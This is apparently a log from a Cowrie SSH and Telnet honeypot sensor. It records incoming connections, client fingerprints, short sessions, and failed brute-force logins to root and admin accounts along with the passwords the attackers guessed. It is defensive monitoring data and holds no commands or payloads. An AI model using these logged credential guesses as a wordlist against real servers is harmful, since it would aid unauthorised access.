{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:23.547247Z","src_ip":"72.52.132.30","session":"c74753541460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:23.705817Z","src_ip":"72.52.132.30","session":"c74753541460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:23.868860Z","src_ip":"193.228.128.84","session":"7b7ed28f24d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:24.742513Z","src_ip":"72.52.132.30","session":"c74753541460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":51086,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e0da1bbdc9","protocol":"ssh","message":"New connection: 43.135.177.217:51086 (10.17.0.5:22) [session: c4e0da1bbdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:29.805211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:29.809939Z","src_ip":"43.135.177.217","session":"c4e0da1bbdc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:29.877920Z","src_ip":"43.135.177.217","session":"c4e0da1bbdc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:30.183652Z","src_ip":"43.135.177.217","session":"c4e0da1bbdc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.12754034996033,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:30.403649Z","src_ip":"152.42.224.71","session":"4bf32ade2049","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.255495Z","src_ip":"43.135.177.217","session":"c4e0da1bbdc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":43136,"dst_ip":"159.203.135.109","dst_port":22,"session":"944096dcc2e1","protocol":"ssh","message":"New connection: 43.153.31.20:43136 (159.203.135.109:22) [session: 944096dcc2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.266395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.272259Z","src_ip":"43.153.31.20","session":"944096dcc2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.341532Z","src_ip":"43.153.31.20","session":"944096dcc2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":50956,"dst_ip":"10.17.0.5","dst_port":22,"session":"598000e3af8a","protocol":"ssh","message":"New connection: 181.47.9.103:50956 (10.17.0.5:22) [session: 598000e3af8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.351059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.355917Z","src_ip":"181.47.9.103","session":"598000e3af8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.499492Z","src_ip":"181.47.9.103","session":"598000e3af8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty54321","message":"login attempt [root/qwerty54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:31.648373Z","src_ip":"43.153.31.20","session":"944096dcc2e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newton","message":"login attempt [root/newton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:32.102142Z","src_ip":"181.47.9.103","session":"598000e3af8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43174,"dst_ip":"10.17.0.5","dst_port":23,"session":"755cfa8ae97b","protocol":"telnet","message":"New connection: 152.42.224.71:43174 (10.17.0.5:23) [session: 755cfa8ae97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:32.276858Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:32.720264Z","src_ip":"43.153.31.20","session":"944096dcc2e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:33.247620Z","src_ip":"181.47.9.103","session":"598000e3af8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01054501533508,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:42.988762Z","src_ip":"152.42.224.71","session":"bb48f19fd051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00684356689453,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:48.526354Z","src_ip":"152.42.224.71","session":"f0f1febb1aaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.05111885070801,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:49.161942Z","src_ip":"152.42.224.71","session":"2bbf4b721644","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.27.154.152","src_port":41996,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca51ca03c3af","protocol":"ssh","message":"New connection: 120.27.154.152:41996 (159.203.135.109:22) [session: ca51ca03c3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:50.356431Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44814,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eccb76d3217","protocol":"telnet","message":"New connection: 152.42.224.71:44814 (10.17.0.5:23) [session: 1eccb76d3217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:50.502223Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44824,"dst_ip":"10.17.0.5","dst_port":23,"session":"7142ade6bce7","protocol":"telnet","message":"New connection: 152.42.224.71:44824 (10.17.0.5:23) [session: 7142ade6bce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:50.793473Z"}
{"eventid":"cowrie.session.closed","duration":53.237375259399414,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:19:55.474052Z","src_ip":"152.42.224.71","session":"6f228d70bf9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":45094,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f1edaaa78cb","protocol":"ssh","message":"New connection: 191.96.110.121:45094 (159.203.135.109:22) [session: 5f1edaaa78cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:00.883292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:00.927659Z","src_ip":"191.96.110.121","session":"5f1edaaa78cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:01.100791Z","src_ip":"191.96.110.121","session":"5f1edaaa78cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night123","message":"login attempt [root/night123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:01.890679Z","src_ip":"191.96.110.121","session":"5f1edaaa78cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":56570,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36c4fd7e5c4","protocol":"ssh","message":"New connection: 43.133.34.13:56570 (159.203.135.109:22) [session: d36c4fd7e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:01.960109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:01.966674Z","src_ip":"43.133.34.13","session":"d36c4fd7e5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:02.206419Z","src_ip":"43.133.34.13","session":"d36c4fd7e5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:03.139412Z","src_ip":"191.96.110.121","session":"5f1edaaa78cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"formula1","message":"login attempt [root/formula1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:03.193758Z","src_ip":"43.133.34.13","session":"d36c4fd7e5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:04.436664Z","src_ip":"43.133.34.13","session":"d36c4fd7e5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.619473457336426,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:07.896240Z","src_ip":"152.42.224.71","session":"755cfa8ae97b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":19904,"dst_ip":"10.17.0.5","dst_port":22,"session":"ace5c68e41c5","protocol":"ssh","message":"New connection: 2.57.121.112:19904 (10.17.0.5:22) [session: ace5c68e41c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:08.906459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:08.911482Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:09.016569Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"albacore","message":"login attempt [admin/albacore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:09.503520Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ahfywbz","message":"login attempt [admin/ahfywbz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:10.611065Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aguilar","message":"login attempt [admin/aguilar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:11.718537Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aggie1","message":"login attempt [admin/aggie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:12.827074Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aerial","message":"login attempt [admin/aerial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:13.935474Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55868,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec5e6078d9d5","protocol":"telnet","message":"New connection: 152.42.224.71:55868 (10.17.0.5:23) [session: ec5e6078d9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:14.689534Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:15.044494Z","src_ip":"2.57.121.112","session":"ace5c68e41c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56582,"dst_ip":"10.17.0.5","dst_port":23,"session":"d68b00e0afe0","protocol":"telnet","message":"New connection: 152.42.224.71:56582 (10.17.0.5:23) [session: d68b00e0afe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:16.423898Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":57106,"dst_ip":"159.203.135.109","dst_port":22,"session":"60ea72eacf44","protocol":"ssh","message":"New connection: 43.130.38.88:57106 (159.203.135.109:22) [session: 60ea72eacf44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:17.044787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:17.050796Z","src_ip":"43.130.38.88","session":"60ea72eacf44","protocol":"ssh"}
